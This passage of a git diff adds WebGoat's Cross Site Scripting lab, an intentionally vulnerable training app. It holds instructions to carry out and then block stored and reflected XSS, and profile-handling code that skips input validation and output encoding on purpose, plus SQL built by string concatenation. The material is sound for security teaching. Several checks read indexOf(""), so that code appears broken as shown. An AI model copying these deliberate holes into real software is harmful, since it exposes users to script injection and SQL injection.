" + + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. " + + "Verify that 'Jerry' is affected by the attack."; + } + else if (STAGE2.equals(stage)) + { + instructions = "Stage 2: Block Stored XSS using Input Validation.
" + + "Implement a fix to block the stored XSS before it can be written to the database. " + + "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack."; + } + else if (STAGE3.equals(stage)) + { + instructions = "Stage 3: Execute a previously Stored Cross Site Scripting (XSS) attack.
" + + "The 'Bruce' employee profile is pre-loaded with a stored XSS attack. " + + "Verify that 'David' is affected by the attack even though the fix from stage 2 is in place."; + } + else if (STAGE4.equals(stage)) + { + instructions = "Stage 4: Block Stored XSS using Output Encoding.
" + + "Implement a fix to block XSS after it is read from the database. " + + "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack."; + } + else if (STAGE5.equals(stage)) + { + instructions = "Stage 5: Execute a Reflected XSS attack.
" + + "Use a vulnerability on the Search Staff page to craft a URL containing a reflected XSS attack. " + + "Verify that another employee using the link is affected by the attack."; + } + else if (STAGE6.equals(stage)) + { + instructions = "Stage 6: Block Reflected XSS using Input Validation.
" + + "Implement a fix to block this reflected XSS attack. " + + "Repeat step 5. Verify that the attack URL is no longer effective."; + } + } + + return instructions; + + } + + @Override + public String[] getStages() { + if (getWebgoatContext().isCodingExercises()) + return new String[] {STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6}; + return new String[] {STAGE1, STAGE3, STAGE5}; + } + + public void handleRequest(WebSession s) + { + if (s.getLessonSession(this) == null) + s.openLessonSession(this); + + String requestedActionName = null; + try + { + requestedActionName = s.getParser().getStringParameter("action"); + } + catch (ParameterNotFoundException pnfe) + { + // Let them eat login page. + requestedActionName = LOGIN_ACTION; + } + + if (requestedActionName != null) + { + try + { + LessonAction action = getAction(requestedActionName); + + if (action != null) + { + if (!action.requiresAuthentication() + || action.isAuthenticated(s)) + { + action.handleRequest(s); + //setCurrentAction(s, action.getNextPage(s)); + } + } + else + { + setCurrentAction(s, ERROR_ACTION); + } + } + catch (ParameterNotFoundException pnfe) + { + System.out.println("Missing parameter"); + pnfe.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + catch (ValidationException ve) + { + System.out.println("Validation failed"); + ve.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + catch (UnauthenticatedException ue) + { + s.setMessage("Login failed"); + System.out.println("Authentication failure"); + ue.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + s.setMessage("You are not authorized to perform this function"); + System.out.println("Authorization failure"); + ue2.printStackTrace(); + } + catch (Exception e) + { + // All other errors send the user to the generic error page + System.out.println("handleRequest() error"); + e.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } + } + + // All this does for this lesson is ensure that a non-null content exists. + setContent(new ElementContainer()); + } + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the CrossSiteScripting object + * + * @return The title value + */ + public String getTitle() + { + return "LAB: Cross Site Scripting"; + } + + public String htmlEncode(WebSession s, String text) + { + if (STAGE4.equals(getStage(s)) && + text.indexOf("") > -1) + { + setStageComplete(s, STAGE4); + s.setMessage( "Welcome to stage 5 -- exploiting the data layer" ); + } + + return HtmlEncoder.encode(text); + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java new file mode 100644 index 000000000..605fa82dc --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java @@ -0,0 +1,195 @@ +package org.owasp.webgoat.lessons.CrossSiteScripting; + +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; + +import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; +import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; +import org.owasp.webgoat.session.Employee; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class EditProfile extends DefaultLessonAction +{ + + public EditProfile(GoatHillsFinancial lesson, String lessonName, + String actionName) + { + super(lesson, lessonName, actionName); + } + + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + UnauthenticatedException, UnauthorizedException + { + getLesson().setCurrentAction(s, getActionName()); + + if (isAuthenticated(s)) + { + int userId = getUserId(s); + int employeeId = s.getParser().getIntParameter( + CrossSiteScripting.EMPLOYEE_ID); + + Employee employee = getEmployeeProfile(s, userId, employeeId); + setSessionAttribute(s, getLessonName() + "." + + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee); + } + else + throw new UnauthenticatedException(); + } + + + public String getNextPage(WebSession s) + { + return CrossSiteScripting.EDITPROFILE_ACTION; + } + + + public Employee getEmployeeProfile(WebSession s, int userId, + int subjectUserId) throws UnauthorizedException + { + Employee profile = null; + + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE userid = ?"; + + try + { + PreparedStatement answer_statement = WebSession + .getConnection(s).prepareStatement(query, + ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + answer_statement.setInt(1, subjectUserId); + ResultSet answer_results = answer_statement.executeQuery(); + if (answer_results.next()) + { + // Note: Do NOT get the password field. + profile = new Employee(answer_results.getInt("userid"), + answer_results.getString("first_name"), + answer_results.getString("last_name"), + answer_results.getString("ssn"), answer_results + .getString("title"), answer_results + .getString("phone"), answer_results + .getString("address1"), answer_results + .getString("address2"), answer_results + .getInt("manager"), answer_results + .getString("start_date"), answer_results + .getInt("salary"), answer_results + .getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results + .getString("disciplined_date"), + answer_results.getString("disciplined_notes"), + answer_results.getString("personal_description")); + /* System.out.println("Retrieved employee from db: " + + profile.getFirstName() + " " + profile.getLastName() + + " (" + profile.getId() + ")"); + */} + } + catch (SQLException sqle) + { + s.setMessage("Error getting employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error getting employee profile"); + e.printStackTrace(); + } + + return profile; + } + + + public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, + int subjectUserId) throws UnauthorizedException + { + Employee profile = null; + + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE userid = ?"; + + try + { + PreparedStatement answer_statement = WebSession + .getConnection(s).prepareStatement(query, + ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + answer_statement.setInt(1, subjectUserId); + ResultSet answer_results = answer_statement.executeQuery(); + if (answer_results.next()) + { + // Note: Do NOT get the password field. + profile = new Employee(answer_results.getInt("userid"), + answer_results.getString("first_name"), + answer_results.getString("last_name"), + answer_results.getString("ssn"), answer_results + .getString("title"), answer_results + .getString("phone"), answer_results + .getString("address1"), answer_results + .getString("address2"), answer_results + .getInt("manager"), answer_results + .getString("start_date"), answer_results + .getInt("salary"), answer_results + .getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results + .getString("disciplined_date"), + answer_results.getString("disciplined_notes"), + answer_results.getString("personal_description")); + /* System.out.println("Retrieved employee from db: " + + profile.getFirstName() + " " + profile.getLastName() + + " (" + profile.getId() + ")"); + */} + } + catch (SQLException sqle) + { + s.setMessage("Error getting employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error getting employee profile"); + e.printStackTrace(); + } + + return profile; + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java new file mode 100644 index 000000000..42bc14f07 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java @@ -0,0 +1,256 @@ +package org.owasp.webgoat.lessons.CrossSiteScripting; + +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.util.HashMap; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; +import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; +import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; +import org.owasp.webgoat.session.Employee; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class FindProfile extends DefaultLessonAction +{ + + private LessonAction chainedAction; + + + public FindProfile(GoatHillsFinancial lesson, String lessonName, + String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } + + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + UnauthenticatedException, UnauthorizedException, + ValidationException + { + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + + CrossSiteScripting.USER_ID); + + String searchName = null; + try + { + searchName = getRequestParameter(s, + CrossSiteScripting.SEARCHNAME); + + Employee employee = null; + + employee = findEmployeeProfile(s, userId, searchName); + if (employee == null) + { + setSessionAttribute(s, getLessonName() + "." + + CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY, + "Employee " + searchName + " not found."); + } + } + catch (ValidationException e) + { + if (CrossSiteScripting.STAGE6.equals(getStage(s))) + { + setStageComplete(s, CrossSiteScripting.STAGE6); + } + throw e; + } + + if (CrossSiteScripting.STAGE5.equals(getStage(s))) + { + if (searchName.indexOf("") > -1) + { + setStageComplete(s, CrossSiteScripting.STAGE5); + } + } + + // Execute the chained Action if the employee was found. + if (foundEmployee(s)) + { + try + { + chainedAction.handleRequest(s); + } + catch (UnauthenticatedException ue1) + { + System.out.println("Internal server error"); + ue1.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + } + else + throw new UnauthenticatedException(); + } + + + public String getNextPage(WebSession s) + { + String page = CrossSiteScripting.SEARCHSTAFF_ACTION; + + if (foundEmployee(s)) + page = CrossSiteScripting.VIEWPROFILE_ACTION; + + return page; + } + + + protected String getRequestParameter(WebSession s, String name) + throws ParameterNotFoundException, ValidationException + { + return s.getParser().getRawParameter(name); + } + + + protected String getRequestParameter_BACKUP(WebSession s, String name) + throws ParameterNotFoundException, ValidationException + { + return s.getParser().getRawParameter(name); + } + + + public Employee findEmployeeProfile(WebSession s, int userId, String pattern) + throws UnauthorizedException + { + Employee profile = null; + + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE first_name like ? OR last_name like ?"; + + try + { + PreparedStatement answer_statement = WebSession + .getConnection(s).prepareStatement(query, + ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + answer_statement.setString(1, "%" + pattern + "%"); + answer_statement.setString(2, "%" + pattern + "%"); + ResultSet answer_results = answer_statement.executeQuery(); + + // Just use the first hit. + if (answer_results.next()) + { + int id = answer_results.getInt("userid"); + // Note: Do NOT get the password field. + profile = new Employee(id, answer_results + .getString("first_name"), answer_results + .getString("last_name"), answer_results + .getString("ssn"), answer_results + .getString("title"), answer_results + .getString("phone"), answer_results + .getString("address1"), answer_results + .getString("address2"), answer_results + .getInt("manager"), answer_results + .getString("start_date"), answer_results + .getInt("salary"), answer_results.getString("ccn"), + answer_results.getInt("ccn_limit"), answer_results + .getString("disciplined_date"), + answer_results.getString("disciplined_notes"), + answer_results.getString("personal_description")); + + /* System.out.println("Retrieved employee from db: " + + profile.getFirstName() + " " + profile.getLastName() + + " (" + profile.getId() + ")"); + */ + setRequestAttribute(s, getLessonName() + "." + + CrossSiteScripting.EMPLOYEE_ID, Integer + .toString(id)); + } + } + catch (SQLException sqle) + { + s.setMessage("Error finding employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error finding employee profile"); + e.printStackTrace(); + } + + return profile; + } + + + private boolean foundEmployee(WebSession s) + { + boolean found = false; + try + { + getIntRequestAttribute(s, getLessonName() + "." + + CrossSiteScripting.EMPLOYEE_ID); + found = true; + } + catch (ParameterNotFoundException e) + {} + + return found; + } + + + protected String validate(final String parameter, final Pattern pattern) + throws ValidationException + { + Matcher matcher = pattern.matcher(parameter); + if (!matcher.matches()) + throw new ValidationException(); + + return parameter; + } + + protected static Map patterns = new HashMap(); + static + { + patterns.put(CrossSiteScripting.SEARCHNAME, Pattern + .compile("[a-zA-Z ]{0,20}")); + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java new file mode 100644 index 000000000..157a0e8b4 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java @@ -0,0 +1,436 @@ +package org.owasp.webgoat.lessons.CrossSiteScripting; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.PreparedStatement; +import java.sql.Statement; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import javax.servlet.http.HttpServletRequest; + +import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; +import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; +import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; +import org.owasp.webgoat.session.Employee; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.ParameterParser; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class UpdateProfile extends DefaultLessonAction +{ + + private LessonAction chainedAction; + + + public UpdateProfile(GoatHillsFinancial lesson, String lessonName, + String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } + + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + UnauthenticatedException, UnauthorizedException, + ValidationException + { + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + + CrossSiteScripting.USER_ID); + + int subjectId = s.getParser().getIntParameter( + CrossSiteScripting.EMPLOYEE_ID, 0); + + Employee employee = null; + try + { + employee = parseEmployeeProfile(subjectId, s); + } + catch (ValidationException e) + { + if (CrossSiteScripting.STAGE2.equals(getStage(s))) + { + setStageComplete(s, CrossSiteScripting.STAGE2); + } + throw e; + } + + if (subjectId > 0) + { + this.changeEmployeeProfile(s, userId, subjectId, employee); + setRequestAttribute(s, getLessonName() + "." + + CrossSiteScripting.EMPLOYEE_ID, Integer + .toString(subjectId)); + } + else + this.createEmployeeProfile(s, userId, employee); + + try + { + chainedAction.handleRequest(s); + } + catch (UnauthenticatedException ue1) + { + System.out.println("Internal server error"); + ue1.printStackTrace(); + } + catch (UnauthorizedException ue2) + { + System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + else + throw new UnauthenticatedException(); + } + + + protected Employee parseEmployeeProfile(int subjectId, WebSession s) + throws ParameterNotFoundException, ValidationException + { + // The input validation can be added using a parsing component + // or by using an inline regular expression. The parsing component + // is the better solution. + + HttpServletRequest request = s.getRequest(); + String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME); + String lastName = request.getParameter(CrossSiteScripting.LAST_NAME); + String ssn = request.getParameter(CrossSiteScripting.SSN); + String title = request.getParameter(CrossSiteScripting.TITLE); + String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER); + String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); + String address2 = request.getParameter(CrossSiteScripting.ADDRESS2); + int manager = Integer.parseInt(request + .getParameter(CrossSiteScripting.MANAGER)); + String startDate = request.getParameter(CrossSiteScripting.START_DATE); + int salary = Integer.parseInt(request + .getParameter(CrossSiteScripting.SALARY)); + String ccn = request.getParameter(CrossSiteScripting.CCN); + int ccnLimit = Integer.parseInt(request + .getParameter(CrossSiteScripting.CCN_LIMIT)); + String disciplinaryActionDate = request + .getParameter(CrossSiteScripting.DISCIPLINARY_DATE); + String disciplinaryActionNotes = request + .getParameter(CrossSiteScripting.DISCIPLINARY_NOTES); + String personalDescription = request + .getParameter(CrossSiteScripting.DESCRIPTION); + + Employee employee = new Employee(subjectId, firstName, lastName, ssn, + title, phone, address1, address2, manager, startDate, salary, + ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, + personalDescription); + + return employee; + } + + + protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s) + throws ParameterNotFoundException, ValidationException + { + // The input validation can be added using a parsing component + // or by using an inline regular expression. The parsing component + // is the better solution. + + HttpServletRequest request = s.getRequest(); + String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME); + String lastName = request.getParameter(CrossSiteScripting.LAST_NAME); + String ssn = request.getParameter(CrossSiteScripting.SSN); + String title = request.getParameter(CrossSiteScripting.TITLE); + String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER); + String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); + String address2 = request.getParameter(CrossSiteScripting.ADDRESS2); + int manager = Integer.parseInt(request + .getParameter(CrossSiteScripting.MANAGER)); + String startDate = request.getParameter(CrossSiteScripting.START_DATE); + int salary = Integer.parseInt(request + .getParameter(CrossSiteScripting.SALARY)); + String ccn = request.getParameter(CrossSiteScripting.CCN); + int ccnLimit = Integer.parseInt(request + .getParameter(CrossSiteScripting.CCN_LIMIT)); + String disciplinaryActionDate = request + .getParameter(CrossSiteScripting.DISCIPLINARY_DATE); + String disciplinaryActionNotes = request + .getParameter(CrossSiteScripting.DISCIPLINARY_NOTES); + String personalDescription = request + .getParameter(CrossSiteScripting.DESCRIPTION); + + Employee employee = new Employee(subjectId, firstName, lastName, ssn, + title, phone, address1, address2, manager, startDate, salary, + ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, + personalDescription); + + return employee; + } + + + protected Employee doParseEmployeeProfile(int subjectId, + ParameterParser parser) throws ParameterNotFoundException, + ValidationException + { + // Fix this method using the org.owasp.webgoat.session.ParameterParser class + return null; + } + + + public String getNextPage(WebSession s) + { + return CrossSiteScripting.VIEWPROFILE_ACTION; + } + + + public void changeEmployeeProfile(WebSession s, int userId, int subjectId, + Employee employee) throws UnauthorizedException + { + try + { + // Note: The password field is ONLY set by ChangePassword + String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," + + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + + " personal_description = ? WHERE userid = ?;"; + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + + ps.setString(1, employee.getFirstName()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getPersonalDescription()); + ps.setInt(13, subjectId); + ps.execute(); + } + catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } + + } + catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } + + + public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId, + int subjectId, Employee employee) throws UnauthorizedException + { + try + { + // Note: The password field is ONLY set by ChangePassword + String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," + + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + + " personal_description = ? WHERE userid = ?;"; + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + + ps.setString(1, employee.getFirstName()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getPersonalDescription()); + ps.setInt(13, subjectId); + ps.executeUpdate(query); + } + catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } + + } + catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } + + + public void createEmployeeProfile(WebSession s, int userId, + Employee employee) throws UnauthorizedException + { + try + { + // FIXME: Cannot choose the id because we cannot guarantee uniqueness + int nextId = getNextUID(s); + String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; + + //System.out.println("Query: " + query); + + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); + + ps.setString(1, employee.getFirstName().toLowerCase()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getDisciplinaryActionDate()); + ps.setString(13, employee.getDisciplinaryActionNotes()); + ps.setString(14, employee.getPersonalDescription()); + + ps.execute(); + } + catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } + + + public void createEmployeeProfile_BACKUP(WebSession s, int userId, + Employee employee) throws UnauthorizedException + { + try + { + // FIXME: Cannot choose the id because we cannot guarantee uniqueness + int nextId = getNextUID(s); + String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; + + //System.out.println("Query: " + query); + + try + { + PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); + + ps.setString(1, employee.getFirstName().toLowerCase()); + ps.setString(2, employee.getLastName()); + ps.setString(3, employee.getSsn()); + ps.setString(4, employee.getTitle()); + ps.setString(5, employee.getPhoneNumber()); + ps.setString(6, employee.getAddress1()); + ps.setString(7, employee.getAddress2()); + ps.setInt(8, employee.getManager()); + ps.setString(9, employee.getStartDate()); + ps.setString(10, employee.getCcn()); + ps.setInt(11, employee.getCcnLimit()); + ps.setString(12, employee.getDisciplinaryActionDate()); + ps.setString(13, employee.getDisciplinaryActionNotes()); + ps.setString(14, employee.getPersonalDescription()); + + ps.execute(); + } + catch (SQLException sqle) + { + s.setMessage("Error updating employee profile"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error updating employee profile"); + e.printStackTrace(); + } + } + + + /** + * Validates that the given parameter value matches the given regular expression pattern. + * + * @param parameter + * @param pattern + * @return + * @throws ValidationException + */ + protected String validate(final String parameter, final Pattern pattern) + throws ValidationException + { + Matcher matcher = pattern.matcher(parameter); + if (!matcher.matches()) + throw new ValidationException(); + + return parameter; + } + + private int getNextUID(WebSession s) + { + int uid = -1; + try + { + Statement statement = WebSession.getConnection(s).createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement + .executeQuery("select max(userid) as uid from employee"); + results.first(); + uid = results.getInt("uid"); + } + catch (SQLException sqle) + { + sqle.printStackTrace(); + s.setMessage("Error updating employee profile"); + } + catch (ClassNotFoundException e) + { + // TODO Auto-generated catch block + e.printStackTrace(); + } + return uid + 1; + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java new file mode 100644 index 000000000..c694b93ba --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/ViewProfile.java @@ -0,0 +1,252 @@ +package org.owasp.webgoat.lessons.CrossSiteScripting; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; + +import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; +import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; +import org.owasp.webgoat.session.Employee; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + */ +public class ViewProfile extends DefaultLessonAction +{ + + public ViewProfile(GoatHillsFinancial lesson, String lessonName, + String actionName) + { + super(lesson, lessonName, actionName); + } + + + public void handleRequest(WebSession s) throws ParameterNotFoundException, + UnauthenticatedException, UnauthorizedException, + ValidationException + { + getLesson().setCurrentAction(s, getActionName()); + + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + + CrossSiteScripting.USER_ID); + int employeeId = -1; + try + { + // User selected employee + employeeId = s.getParser().getIntParameter( + CrossSiteScripting.EMPLOYEE_ID); + } + catch (ParameterNotFoundException e) + { + // May be an internally selected employee + employeeId = getIntRequestAttribute(s, getLessonName() + "." + + CrossSiteScripting.EMPLOYEE_ID); + } + + Employee employee = getEmployeeProfile(s, userId, employeeId); + setSessionAttribute(s, getLessonName() + "." + + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee); + + updateLessonStatus(s, employee); + } + else + throw new UnauthenticatedException(); + } + + + public String getNextPage(WebSession s) + { + return CrossSiteScripting.VIEWPROFILE_ACTION; + } + + + public Employee getEmployeeProfile(WebSession s, int userId, + int subjectUserId) throws UnauthorizedException + { + Employee profile = null; + + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE userid = " + + subjectUserId; + + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = 